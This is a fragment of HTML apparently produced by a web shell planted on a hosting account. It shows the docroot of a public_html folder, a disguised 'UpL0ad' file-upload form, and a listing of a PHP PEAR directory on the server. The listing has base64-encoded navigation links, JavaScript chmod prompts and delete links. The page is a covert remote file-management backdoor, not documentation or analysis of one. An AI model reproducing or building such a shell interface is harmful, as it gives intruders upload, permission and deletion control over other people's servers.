</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /opt/alt/php83/usr/share/pear/XML<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1M"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1M&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>48</td></tr><tr><td></td><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXI="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1M&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1ML1JQQw=="/>RPC</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1M&f=UlBD&c=`+btoa(c):0" value="0755"></td><td>40</td></tr><tr><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1M&x=UlBDLnBocA==">X</a></td><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1M&f=UlBDLnBocA=="/>RPC.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1M&f=UlBDLnBocA==&c=`+btoa(c):0" value="0644"></td><td>59855</td></tr><tr><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1M&x=VXRpbC5waHA=">X</a></td><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1M&f=VXRpbC5waHA="/>Util.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1M&f=VXRpbC5waHA=&c=`+btoa(c):0" value="0644"></td><td>32176</td></tr></table>